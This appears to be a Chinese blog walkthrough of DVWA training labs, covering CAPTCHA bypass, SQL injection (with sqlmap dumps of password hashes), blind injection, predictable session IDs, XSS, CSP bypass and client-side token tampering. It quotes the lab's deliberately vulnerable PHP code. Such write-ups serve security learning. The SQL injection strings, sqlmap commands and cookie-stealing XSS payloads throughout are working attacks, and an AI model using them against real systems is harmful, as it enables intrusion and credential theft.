  1. 将两个步骤合并,无法通过修改passed_captcha绕过第一步,避免了我们通过改参数绕过
  2. 但是通过分析可以发现是通过验证g-recaptcha-responseHTTP_USER_AGENT,所以我们通过抓包,即使不验证,也可以通过。等于是绕过两步了。

验证码

<?php
if( isset( $_POST[ 'Change' ] ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;
    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];
    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key' ],
        $_POST['g-recaptcha-response']
    );
    if (
        $resp || 
        (
            $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
            && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
        )
    ){
        // CAPTCHA was correct. Do both new passwords match?
        if ($pass_new == $pass_conf) {
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for user
            $html .= "<pre>Password Changed.</pre>";

        } else {
            // Ops. Password mismatch
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }

    } else {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>

SQL Injection

难度:low

  1. 查看所有信息

输入: 1‘ or 1 = 1#

ID: 1' or 1 = 1#
First name: admin
Surname: admin
ID: 1' or 1 = 1#
First name: Gordon
Surname: Brown
ID: 1' or 1 = 1#
First name: Hack
Surname: Me
ID: 1' or 1 = 1#
First name: Pablo
Surname: Picasso
ID: 1' or 1 = 1#
First name: Bob
Surname: Smith
  1. 查看有多少列

输入: 1’ order by 3#

Unknown column '3' in 'order clause'

ORDER BY x语句用于对结果集的x字段进行排序。输入3后报错,说明获取到的信息是该数据表有两个字段

  1. 使用union爆破数据库

输入: -1’ union select 1, database()#

First name: 1
Surname: dvwa

DVWA

  1. 获取账号密码

输入:1’ union select user,password from users#

ID: 1' union select user,password from users#
First name: admin
Surname: admin
ID: 1' union select user,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1' union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

难度:medium

DVWA

由于这里不能直接语句输入,但可以采用抓包,我这里进入kali系统用burpsutie抓包分析看看

DVWA

修改数据包:id=1 and 1 = 1&Submit=Submit

DVWA

难度:high

这。。在新的界面输入内容,点击submit 和low差不多

扩展使用sqlmap工具

关于sqlmalp的使用教程:点击此处

  1. 查看数据库相关信息,添加语句–dbs(查看所有数据库的名称)

输入命令:sqlmap -u “http://192.168.113.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" –cookie=”security=low; PHPSESSID=lm02qk2de18gttbgiioh256923” –dbs –batch

available databases [5]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
  1. 添加 –current-db即可查看该数据库名称

输入命令:sqlmap -u “http://192.168.113.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" –cookie=”security=low; PHPSESSID=lm02qk2de18gttbgiioh256923” –current-db –batch

current database: 'dvwa'
  1. 列出dvwa数据库中全部表名

    输入:sqlmap -u “http://192.168.113.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" –cookie=”security=low; PHPSESSID=lm02qk2de18gttbgiioh256923” -D dvwa –tables

Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

  1. 解密所有账号并保存

输入:sqlmap -u “http://192.168.113.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" –cookie=”security=low; PHPSESSID=lm02qk2de18gttbgiioh256923” -D dvwa -T users -C user,password,user_id –dump

Database: dvwa                                                                                                
Table: users
[5 entries]
+---------+---------------------------------------------+---------+
| user    | password                                    | user_id |
+---------+---------------------------------------------+---------+
| admin   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | 1       |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | 2       |
| 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | 3       |
| pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | 4       |
| smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | 5       |
+---------+---------------------------------------------+---------+

SQL Injection (Blind)

盲注:即在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,这个过程成为盲注

一般分为:布尔盲注和时间盲注

难度:low

其实就是猜,使用二分法思想去猜

布尔盲注

1’ and length(database())=1#
1’ and length(database())=2#
1’ andlength(database())=3#
1’ and length(database())=4#
直至猜测长度为4时才返回正常结果

时间盲注

1’ and sleep(5)#

如果不是等待五秒而是马上显示 说明userID 不是数字型可能是字符型

时间盲注

Weak Session IDs

简单介绍一下session,当用户登录时,在服务器会生成一个session,之后想访问只需要带着session去访问即可。session作为用户访问站点的需要的唯一内容,绕过能够得到sessionID,那么攻击者将轻松得到访问权限。用户的session一般被加密保存在浏览器的cookie

难度:low

代码审计后可以得到以下信息:

  1. 如果没有 last_session_id ,则初始化设置为0
  2. 此后 last_session_id 累加,并且将last_session_id发送给浏览器端的cookie
  3. session比较有规律
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?> 

使用火狐浏览器(前提还未登录过dvwa)的hackbar,利用上面的session_id规律制造payload

利用seesion_id的规律

难度:medium

通过代码审计得到以下信息:

  1. 改进了low难度的session_id加一的规律性,使用将session_id改成了当前时间戳
    <?php
    $html = "";
    if ($_SERVER['REQUEST_METHOD'] == "POST") {
     $cookie_value = time();
     setcookie("dvwaSession", $cookie_value);
    }
    ?>
    

使用当前时间戳来构造payload

难度:high

通过代码审计得到以下信息:

  1. 改进了low难度的session_id加一的规律性,使用md5对session_id加密
    <?php
    $html = "";
    if ($_SERVER['REQUEST_METHOD'] == "POST") {
     if (!isset ($_SESSION['last_session_id_high'])) {
         $_SESSION['last_session_id_high'] = 0;
     }
     $_SESSION['last_session_id_high']++;
     $cookie_value = md5($_SESSION['last_session_id_high']);
     setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
    }
    ?>
    

难度:impossible

代码审计可以得到以下信息:

  1. session_id使用随机数+时间戳+固定字符串进行sha1运算,完全无法猜测
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = sha1(mt_rand() . time() . "Impossible");
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?> 

DOM Based Cross Site Scripting (XSS)

难度:low

地址栏后面加上

 ?default=<script>alert("xss")</script>

xss

代码审计后发现:该难度后端没有php校验,执行命令只有客户端

难度:medium

从观察前端代码可知,可以通过闭合标签来执行我们想要的语句

<input type="submit" value="Select">

所以构造语句闭合标签,进行xss攻击,这里onerror作用是在装载文档或图像的过程中如果发生了错误,就会触发onerror事件,直接调用alert

></option></select><img src=1 onerror=alert(/xss/)>

xss

代码审计发现: 对,直接拿到cookie

通过代码审计发现,没有任何限制和过滤

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    $html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

难度:medium

构造payload,有两种:

1. <scr<script>ipt>alert(1)</script>
2. <SCript>alert(1)</SCript>

xss

通过medium代码审计,可以发现该难度做了script标签处理,所以不能直接输入绕过。

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    // Feedback for end user
    $html .= "<pre>Hello ${name}</pre>";
}
?>

难度:high

由于服务端做了非常严格的过滤,payload构造相当困难,因此我们直接不使用script,转而使用其他产生xss

构造payload:

<img src=1 onerror=alert(document.cookie)>

xss

通过high难度的代码审计可以发现,对script标签做了非常严格的过滤,使用了正则表达式

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    // Feedback for end user
    $html .= "<pre>Hello ${name}</pre>";
}
?>

Stored Cross Site Scripting (XSS)

存储型XSS又叫持久型XSS,XSS代码被攻击者存储到服务器中,因此用户在访问含有存储型XSS代码的网站时就会被攻击。

难度:low

这里在前端做了长度限制,我们只需要修改maxlength,再输入payload即可

<input name="txtName" type="text" size="30" maxlength="10">

xss

通过代码审计发现,有以下对输入内容检查与限制:

  1. trim()移除两侧空格
  2. mysql_real_escape_string()对特殊字符转义
  3. stripslashes()进行删除\
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    //mysql_close();
}
?>

难度:medium

构造payload,有两种:

<scr<script>ipt>alert(1)</script>
<SCript>alert(1)</SCript>

注意修改数据包,将payload放入再发送:

xss

通过代码审计可以发现,除了与low难度的处理一样以外,还做了对script过滤,构造payload和XSS反射型的medium难度一致

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

难度:high

构造payload和XSS反射型的medium难度一致,由于服务端做了非常严格的过滤,payload构造相当困难,因此我们直接不使用script,转而使用其他产生xss

注意修改数据包,构造payload放入再发送:

<img src=1 onerror=alert(document.cookie)>

xss

通过代码审计可以发现,和XSS反射型的high难度一样,都是做正则化处理严格处理script,所以构造payload

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

Content Security Policy (CSP) Bypass

开发者在开发过程中设置了一个类似于白名单的策略,要信任某个页面,哪些外部资源可以执行,哪些不可以,这可以从根本上防御XSS,如果CSP配置的好,可以从根本上杜绝XSS

难度:low

抓包分析可以发现白名单,在pastebin.com写一个JavaScript脚本,生成链接后,再去dvwa执行即可。因为https://pastebin.com/是被信任的所以会执行,若不在白名单里是不会被执行的如下:

https://pastebin.com/raw/sD9vUGxE

通过抓包分析CSP漏洞

代码审计可以得到以下信息:

  1. 有以下外部资源可以被执行
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.
header($headerCSP);
# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://hastebin.com/raw/ohulaquzex
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    <script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';

难度:medium

直接通过内联 JavaScript 代码,注入时直接令 nonce 为设定好的值即可。构造payload:

通过抓包分析CSP漏洞

代码审计得到以下信息:

  1. nonce-source,仅允许特定的内联脚本块。
  2. 当csp有unsafe-inline时,受限于csp无法直接引入外部js
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';

难度:high

构造payload:

include=

抓包修改callback参数

代码审计可以得到以下信息:

  1. 服务端不再设置白名单
  2. 在点击网页的按钮使 js 生成一个 script 标签,src 指向 source/jsonp.php?callback=solveNum
  3. source/jsonp.php?callback=solveNum里面设置了一个solveNum函数,这里的script标签会把远程加载的solveSum({“answer”:”15”}) 当作 js 代码执行
服务端源码:

<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page['body'] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
';



客户端源码:
function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}

JavaScript Attacks

难度:low

没有思路,所以先进行代码审计,发现无法输入什么,token都是8b479aefbd90795395b3e7089ae0dc09

所以只能抓数据包修改”success”对应的md5值:38581812b435834ebf84ebcc2c6424d6

<?php
$page[ 'body' ] .= <<<EOF
<script>

/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/

!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);

    function rot13(inp) {
        return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
    }

    function generate_token() {
        var phrase = document.getElementById("phrase").value;
        document.getElementById("token").value = md5(rot13(phrase));
    }

    generate_token();
</script>
EOF;
?>

抓包修改token和phrase参数

难度:medium

代码审计可以得到以下信息:

  1. 生成token代码存放在客户端而不是服务器
  2. 跟low难度一样,先生成token抓包修改即可
服务端:
<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/medium.js"></script>';
?>


客户端:
function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}
setTimeout(function() {
    do_elsesomething("XX")
}, 300);

function do_elsesomething(e) {
    document.getElementById("token").value = do_something(e + document
        .getElementById("phrase").value + "XX")
}

先在控制台执行do_everything(“success”),然后抓包修改即可

抓包修改token和phrase参数

难度:high

和前 2 个等级差不多,依次执行 token_part_1(“ABCD”, 44) 和 token_part_2(“XX”),最后点击提交执行 token_part_3()。

所以攻击步骤如下:

  1. 修改输入框内容为success
  2. 执行token_part_1,再执行token_part_2
  3. 最后点submit提交,其实也就是执行token_part_3

high难度的攻击方式

代码审计可以得到以下信息:

  1. 这个地方设了坑,让人以为执行顺序是:token_part_2 =》token_part_3=》token_part_1,其实是 token_part_1 =》token_part_2=》token_part_3
服务端:
<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/high.js"></script>';
?>



客户端代码:
function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}

function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}

function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}

function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}

document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

impossible

high难度的攻击方式

这里感觉作者给我们开了个玩笑,也是一个警告,叫我们不要相信任何来自用户的东西或者阻止用户搞破坏

到这里就收尾了,断断续续这个平台我做了有一周时间了,基本上每天都投入不少时间在里边,希望自己能越来越强!


 上一篇
红日(vulnstack)安全实战靶场 红日(vulnstack)安全实战靶场
背景这次靶场环境是红日安全团队提供: http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 靶场环境这里介绍一下靶场的实验环境,记得开启windows7的PHPstudy 主机 地址
2023-05-01
下一篇 
DFS搜索算法中方向数组的含义及例题 DFS搜索算法中方向数组的含义及例题
方向数组含义方向数组,常应用于搜索算法中,有四方向(上,右,下,左),也有八方向(顺时针或逆时针)。广泛应用于迷宫,棋盘等寻路问题中 方向数组解析四方向c代表示码: dx[4] = {-1, 0, 1, 0} dy[4]
2023-03-27
  目录